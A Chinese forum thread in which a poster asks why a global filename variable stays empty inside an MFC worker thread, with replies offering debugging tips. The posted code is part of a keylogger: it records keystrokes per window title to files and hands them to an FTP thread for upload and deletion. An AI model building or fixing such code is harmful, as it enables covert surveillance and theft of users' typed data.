求教一个关于MFC多线程的问题 我定义了一个全局变量,然后一个类的1个函数调用并修改这个全局变量,我用Messagebox在线程里显示这个全局变量,但是这个全局变量的值依旧是定义时的那个值。这是为什么。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 //FullRecorderFileName全局变量static unsigned __stdcall RecordCnKey(void *param){ MSG msg; PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE); while(true) { if(GetMessage(&msg,0,0,0)) //get msg from message queue { switch(msg.message) { case WM_KEYHOOK_CN: PRecordInfo pInfo = (PRecordInfo)msg.wParam; //此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除, //发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录信息写入到新窗口文件中。 //若窗口未改变,则直接在原窗口文件后面追加记录信息 if(g_hLastFocus!=pInfo->hFocus) { // MessageBox(0,FullRecorderFileName,"121",0); if(!FullRecorderFileName.IsEmpty()) { MessageBox(0,FullRecorderFileName,"111",0); char * tmpFilename =new char[MAX_PATH]; memset(tmpFilename,0,MAX_PATH); memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength()); if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg { PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0); } } //if(!FileQueue.empty()) //{ // SetEvent(FtpEvent); //} //else //{ // MessageBox(NULL,"队列为空","111",0); //} CreateRecordFileName();//改变FullRecorderFileName的值 char svTitle[256]; int nCount; nCount=GetWindowText(pInfo->hFocus,svTitle,256); if(nCount>0) { CString tmpstr; tmpstr.Format("[%s]\r\n",svTitle); WriteStr(tmpstr); } g_hLastFocus=pInfo->hFocus; } WriteStr(pInfo->lpstr); delete pInfo; break; } } }; return 0;} 比如我第一次打开一个窗口文件(比如记事本),我写了东西,然后我又打开了个WORD,此时应该FullRecorderFileName有值了,就是第一次保存的一个文本的名字(比如***.txt),然后我就会 通过 if(!FullRecorderFileName.IsEmpty())这句话,把消息传到某个地方去,但是 FullRecorderFileName一直为空(我初始化的是空) MSG msg; PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);创建消息队列, 好像不需要指定何种消息其他线程对你的子线程senmesage,postemsage 跟不进去,就加日志一定可以找到死在什么地方?比如控制台程序,可以再关键代码前、后用printf打印运行到了哪一句你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码 跟不进去,就加日志一定可以找到死在什么地方?比如控制台程序,可以再关键代码前、后用printf打印运行到了哪一句你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码 关于GDI+读取图片失败的问题 怎么得到当前活动窗体 ClassWizard出现错误:Parsing error:Identifier expected.Input Line:"private:" 提几个问题 令人振奋的消息:Windows2000 很有可能就是用VC++开发 如何添加一个公共的函数并向其传值? 求救:谁有SMS的程序,非常感谢。高分相送 加分,询问使用 VC 进行数据库开发方面的问题。 求在MFC环境下 编一个俄罗斯方块小游戏 作为应届生你应该掌握哪些C++/VC知识 ADO连接数据库的一点小疑问 求助,MFC中写了个类
static unsigned __stdcall RecordCnKey(void *param)
{ MSG msg;
PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
while(true)
{ if(GetMessage(&msg,0,0,0)) //get msg from message queue
{ switch(msg.message)
{
case WM_KEYHOOK_CN:
PRecordInfo pInfo = (PRecordInfo)msg.wParam;
//此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除,
//发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录信息写入到新窗口文件中。
//若窗口未改变,则直接在原窗口文件后面追加记录信息
if(g_hLastFocus!=pInfo->hFocus)
{
// MessageBox(0,FullRecorderFileName,"121",0);
if(!FullRecorderFileName.IsEmpty())
{
MessageBox(0,FullRecorderFileName,"111",0);
char * tmpFilename =new char[MAX_PATH];
memset(tmpFilename,0,MAX_PATH);
memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength());
if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
{
PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
}
} //if(!FileQueue.empty())
//{
// SetEvent(FtpEvent);
//}
//else
//{
// MessageBox(NULL,"队列为空","111",0);
//} CreateRecordFileName();//改变FullRecorderFileName的值
char svTitle[256];
int nCount;
nCount=GetWindowText(pInfo->hFocus,svTitle,256);
if(nCount>0)
{
CString tmpstr;
tmpstr.Format("[%s]\r\n",svTitle);
WriteStr(tmpstr);
}
g_hLastFocus=pInfo->hFocus;
}
WriteStr(pInfo->lpstr);
delete pInfo;
break;
}
}
};
return 0;
}
if(!FullRecorderFileName.IsEmpty())这句话,把消息传到某个地方去,但是 FullRecorderFileName一直为空(我初始化的是空)
PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
创建消息队列, 好像不需要指定何种消息
其他线程对你的子线程senmesage,postemsage
你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码
你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码